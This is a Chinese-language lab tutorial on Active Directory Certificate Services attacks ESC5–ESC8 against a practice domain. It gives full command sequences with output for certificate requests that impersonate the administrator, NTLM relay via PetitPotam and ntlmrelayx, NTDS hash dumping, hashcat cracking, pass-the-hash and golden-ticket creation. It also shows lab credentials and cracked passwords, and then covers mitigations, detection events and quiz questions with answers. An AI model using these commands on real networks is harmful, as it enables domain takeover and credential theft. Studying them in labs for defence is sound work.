經過昨天學習 ESC1-4 的憑證模板弱點,今天要探討更進階的 ADCS 攻擊場景。ESC5-8 涉及 PKI 基礎設施的存取控制、CA 設定錯誤,以及結合 NTLM Relay 的攻擊手法。這些攻擊往往更難被發現,但影響範圍可能更廣泛。
在完成今天的實作後,你將能夠:
# 確認工具安裝
which certipy-ad
which ntlmrelayx.py
which responder
# 檢查 AD CS HTTP 端點
curl -I http://192.168.139.23/certsrv/
curl -I http://192.168.139.10/certsrv/
impacket-secretsdump -hashes ':54296a48cd30259cc88095373cec24da' \
'essos.local/administrator@192.168.139.12'
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5df275f8f1573d10758b4de3ab8e53b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
daenerys.targaryen:1113:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
viserys.targaryen:1114:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
khal.drogo:1115:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
jorah.mormont:1116:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
missandei:1117:aad3b435b51404eeaad3b435b51404ee:1b4fd18edf477048c7a7c32fda251cec:::
drogon:1118:aad3b435b51404eeaad3b435b51404ee:195e021e4c0ae619f612fb16c5706bb6:::
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
newdomainadmin:1121:aad3b435b51404eeaad3b435b51404ee:d53c4afacf67e22e278f5da61744ea6e:::
MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:4e93d0fe7ce92d988efb705da462b927:::
BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:1dfc702c35f0e76a73a90dce3d8e8b5f:::
gmsaDragon$:1120:aad3b435b51404eeaad3b435b51404ee:fe6c2902a1d87c21072282361f494f7d:::
SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:921ab9c08c40d51c38c1fff01a14956e:::
ESC5 涉及 AD CS 基礎設施中各種物件的存取控制弱點,而非只是憑證模板。
PKI 物件層級結構:
CN=Configuration,DC=domain,DC=com
└── CN=Services
└── CN=Public Key Services
├── CN=Certificate Templates # 憑證模板容器
├── CN=Enrollment Services # CA 註冊服務
├── CN=NTAuthCertificates # 認證 CA
└── CN=Certification Authorities # 根 CA
# 檢查 Public Key Services 容器權限
Get-Acl "AD:CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
如果攻擊者對 Certificate Templates 容器有寫入權限:
#!/usr/bin/env python3
import ldap3
from ldap3 import Server, Connection, MODIFY_ADD
# 連接 LDAP
server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse',
authentication=ldap3.NTLM)
conn.bind()
# 假設有權限修改 Templates 容器
templates_dn = ('CN=Certificate Templates,CN=Public Key Services,'
'CN=Services,CN=Configuration,DC=essos,DC=local')
# 嘗試新增惡意模板(需要適當權限)
# 實際攻擊中會建立包含 ESC1 弱點的新模板
EDITF_ATTRIBUTESUBJECTALTNAME2 是 CA 層級的設定,允許在任何憑證請求中指定 SAN。
危險性:
# 方法 1:使用 Certipy
certipy find -u khal.drogo@essos.local -p 'horse' \
-dc-ip 192.168.139.12 -stdout | grep -B5 -A5 "EDITF_ATTRIBUTESUBJECTALTNAME2"
# 方法 2:使用 certutil(需要適當權限)
certutil -config "braavos.essos.local\ESSOS-CA" -getreg "policy\EditFlags"
# 方法 3:直接查詢登錄(如果有權限)
reg query \\braavos\HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
如果 EDITF_ATTRIBUTESUBJECTALTNAME2 被啟用:
# 使用任何允許域認證的模板,指定替代身份
certipy req -u khal.drogo@essos.local -p 'horse' \
-target braavos.essos.local \
-template User \
-ca ESSOS-CA \
-upn administrator@essos.local \
-dc-ip 192.168.139.12
注意差異:
# 停用危險旗標(需要 CA 管理員權限)
certutil -config "braavos.essos.local\ESSOS-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
# 驗證變更
certutil -config "braavos.essos.local\ESSOS-CA" -getreg "policy\EditFlags"
CA 本身的權限設定可能允許低權限使用者執行管理操作。
關鍵權限:
# 使用 Certipy 檢查 CA 權限
certipy find -u khal.drogo@essos.local -p 'horse' \
-vulnerable -dc-ip 192.168.139.12 -stdout | grep -A30 "ESC7"
如果擁有 ManageCA 權限,可以啟用 EDITF_ATTRIBUTESUBJECTALTNAME2:
# 使用 PSPKI 模組
Import-Module PSPKI
# 取得 CA 物件
$CA = Get-CertificationAuthority -ComputerName braavos.essos.local
# 啟用危險旗標
Enable-PolicyModuleFlag -CA $CA -Flag "EDITF_ATTRIBUTESUBJECTALTNAME2"
# 現在可以執行 ESC6 攻擊
可以核准原本需要管理員審核的憑證:
# 1. 請求需要審核的憑證
certipy req -u khal.drogo@essos.local -p 'horse' \
-target braavos.essos.local \
-template ESC3 \
-ca ESSOS-CA
# 記下 Request ID
# 2. 使用 PSPKI 核准(需要 ManageCertificates 權限)
# Approve-CertificateRequest -CA $CA -RequestID <ID>
AD CS 的 HTTP 端點通常不啟用 NTLM 簽章或 EPA (Extended Protection for Authentication),使其易受 NTLM Relay 攻擊。
易受攻擊的端點:
/certsrv/
- Web Enrollment# 檢查 HTTP 端點
nmap -p 80,443 192.168.139.10-12,22-23 --open
# 確認 certsrv 可達性
curl http://192.168.139.23/certsrv/ -I
# 確認 Web Enrollment 啟用
certipy find -u jon.snow@north.sevenkingdoms.local -p 'iknownothing' \
-vulnerable -dc-ip 192.168.139.11 -stdout
# 輸出確認:
# Web Enrollment
# HTTP
# Enabled : True ← ESC8 存在!
# HTTPS
# Enabled : False
# [!] Vulnerabilities
# ESC8 : Web Enrollment is enabled over HTTP.
# 建立工作目錄
mkdir ESC8
cd ESC8
# 啟動 NTLM Relay(Terminal 1)
ntlmrelayx.py -t http://192.168.139.10/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 輸出:
# [*] Servers started, waiting for connections
git clone https://github.com/topotam/PetitPotam.git
# 使用 PetitPotam 觸發 DC 認證(Terminal 2)
python3 PetitPotam.py -u jon.snow -p 'iknownothing' \
-d north.sevenkingdoms.local \
192.168.139.136 192.168.139.11 # 攻擊者IP → 目標DC
# 輸出:
# [+] Got expected ERROR_BAD_NETPATH exception!!
# [+] Attack worked!
# ntlmrelayx 輸出:
# [*] SMBD-Thread-5: Received connection from 192.168.139.11
# [*] Authenticating against http://192.168.139.10 as NORTH/WINTERFELL$ SUCCEED
# [*] Generating CSR...
# [*] CSR generated!
# [*] Getting certificate...
# [*] GOT CERTIFICATE! ID 8
# [*] Writing PKCS#12 certificate to ./WINTERFELL$.pfx
# [*] Certificate successfully written to file
ls
# 輸出:WINTERFELL$.pfx
# 取得 TGT 和 NTLM hash
certipy auth -pfx 'WINTERFELL$.pfx' \
-username 'winterfell$' \
-domain 'north.sevenkingdoms.local' \
-dc-ip 192.168.139.11
# 輸出:
# [*] Using principal: 'winterfell$@north.sevenkingdoms.local'
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saving credential cache to 'winterfell.ccache'
# [*] Got hash for 'winterfell$@north.sevenkingdoms.local':
# aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1
impacket-secretsdump 'north.sevenkingdoms.local/winterfell$@winterfell.north.sevenkingdoms.local' \
-hashes aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1
# 重要輸出:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cc685e516100abe936fe151297f39dbc:::
# jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
# samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
# sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
cat > north_hashes_with_user.txt << EOF
Administrator:dbd13e1c4e338284ac4e9874f7de6ef4
krbtgt:cc685e516100abe936fe151297f39dbc
jon.snow:b8d76e56e9dac90539aff05e3ccb1755
samwell.tarly:f5db9e027ef824d029262068ac826843
sql_svc:84a5092f53390ea48d660be52b93b804
arya.stark:4f622f4cd4284a887228940e2ff4e709
eddard.stark:d977b98c6c9282c5c478be1d97b237b8
robb.stark:831486ac7f26860c9e2f51ac91e1a07a
brandon.stark:84bbaa1c58b7f69d2192560a3f932129
EOF
hashcat -m 1000 -a 0 north_hashes_with_user.txt /usr/share/wordlists/rockyou.txt --username
hashcat -m 1000 north_hashes_with_user.txt --show --username
jon.snow:b8d76e56e9dac90539aff05e3ccb1755:iknownothing
arya.stark:4f622f4cd4284a887228940e2ff4e709:Needle
robb.stark:831486ac7f26860c9e2f51ac91e1a07a:sexywolfy
brandon.stark:84bbaa1c58b7f69d2192560a3f932129:iseedeadpeople
# 1. Pass-the-Hash 成為管理員
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4 \
Administrator@192.168.139.11
# 2. Golden Ticket 攻擊
impacket-ticketer -nthash cc685e516100abe936fe151297f39dbc \
-domain-sid S-1-5-21-3099511005-1426058213-160971164 \
-domain north.sevenkingdoms.local Administrator
# 3. 使用憑證持續存取(1年有效)
export KRB5CCNAME=winterfell.ccache
impacket-wmiexec -k -no-pass winterfell.north.sevenkingdoms.local
# 審查 PKI 物件權限
Get-Acl "AD:CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" |
Select -ExpandProperty Access |
Where {$_.IdentityReference -like "*Domain Users*"}
# 限制權限到必要的管理群組
# 停用所有 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2
foreach ($CA in Get-CertificationAuthority) {
Disable-PolicyModuleFlag -CA $CA -Flag "EDITF_ATTRIBUTESUBJECTALTNAME2"
}
# 限制 CA 權限
# 透過 certsrv.msc → 右鍵 CA → Properties → Security
# 只授予必要的管理群組 ManageCA 和 ManageCertificates
# 1. 啟用 EPA (Extended Protection for Authentication)
# 在 IIS 管理員中為 certsrv 應用程式啟用
# 2. 停用 NTLM
# 設定 GPO:Network security: Restrict NTLM
# 3. 使用 HTTPS 並要求憑證
# 4. 移除不必要的 HTTP 端點
Event ID | 描述 | 重要性 | ESC 關聯 |
---|---|---|---|
4899 | 憑證模板更新 | 高 | ESC5 |
5136 | 目錄服務物件修改 | 高 | ESC5 |
4888 | CA 設定變更 | 極高 | ESC6, ESC7 |
4662 | 對物件執行操作 | 中 | ESC5, ESC7 |
# 監控 EDITF_ATTRIBUTESUBJECTALTNAME2 變更
$CAs = Get-CertificationAuthority
foreach ($CA in $CAs) {
$EditFlags = Get-PolicyModuleFlag -CA $CA
if ($EditFlags -contains "EDITF_ATTRIBUTESUBJECTALTNAME2") {
Write-Warning "危險!$($CA.Name) 啟用了 EDITF_ATTRIBUTESUBJECTALTNAME2"
}
}
A. 在特定憑證模板上啟用 ENROLLEE_SUPPLIES_SUBJECT 就是 ESC6
B. 在 CA 上啟用 EDITF_ATTRIBUTESUBJECTALTNAME2,使任何請求都可自行指定 SAN
C. 在 AD 內對 NTAuthCertificates 物件寫入權限
D. 使用 NTLM Relay 攻擊 /certsrv/ 端點
答案:B
解析: ESC6 是 CA 層級的設定漏洞(EDITF_ATTRIBUTESUBJECTALTNAME2
),會讓申請者在任意模板的請求中帶入自訂 SAN,繞過模板本身的限制。A 是模板層級(接近 ESC1),C 是 ESC5 範疇,D 是 ESC8。
A. 只開 Responder 等待中毒
B. PetitPotam 觸發機器認證 + ntlmrelayx.py --adcs -t http://目標/certsrv/certfnsh.asp -–template DomainController
C. Kerberoasting 取得 TGS 後用 hash 要憑證
D. 先 DCSync 再用憑證登入
答案:B
解析: ESC8 典型做法是先強制目標機器對你認證(如 PetitPotam/PrinterBug/Spooler 類),再把這段 NTLM 交握轉接到 AD CS Web Enrollment(/certsrv/…
),由 ntlmrelayx
自動送出憑證請求(常用 DomainController 模板)。
A. CN=Certificate Templates
B. CN=Enrollment Services
C. CN=NTAuthCertificates
D. CN=Certification Authorities
答案:C
解析: NTAuthCertificates 儲存受信任的企業 CA 憑證,能被用來植入惡意/不被授權的 CA,造成整個森林的信任鍊汙染。A/D 也很關鍵,但 C 的衝擊一般視為最大。
A. ManageCA 用於核准待審憑證;ManageCertificates 用於修改 CA 設定
B. ManageCA 可變更 CA 設定(例如啟用 EDITF_ATTRIBUTESUBJECTALTNAME2
);ManageCertificates 可核准待審憑證
C. ManageCA 與 ManageCertificates 僅能備份 CA 私鑰
D. 兩者都只能讀取不可修改
答案:B
解析: 在 ESC7,ManageCA 能改 CA 組態(間接導致 ESC6 風險),ManageCertificates 能核准原本需人工審核的請求;另外備份/還原私鑰屬於 Backup/Restore 相關權限。
secretsdump
用法,下列哪個雜湊參數格式最恰當(僅有 NT Hash 時)?A. -hashes <NT>
B. -hashes <NT>:
C. -hashes aad3b435b51404eeaad3b435b51404ee:<NT>
D. 不需 -hashes
,直接把 NT 當密碼
答案:C
解析: Impacket 的 -hashes
參數採 LM:NT 格式。當沒有 LM Hash 時,慣例用 aad3b435b51404eeaad3b435b51404ee
作為 LM 佔位值,因此應填成 aad3…:NT
。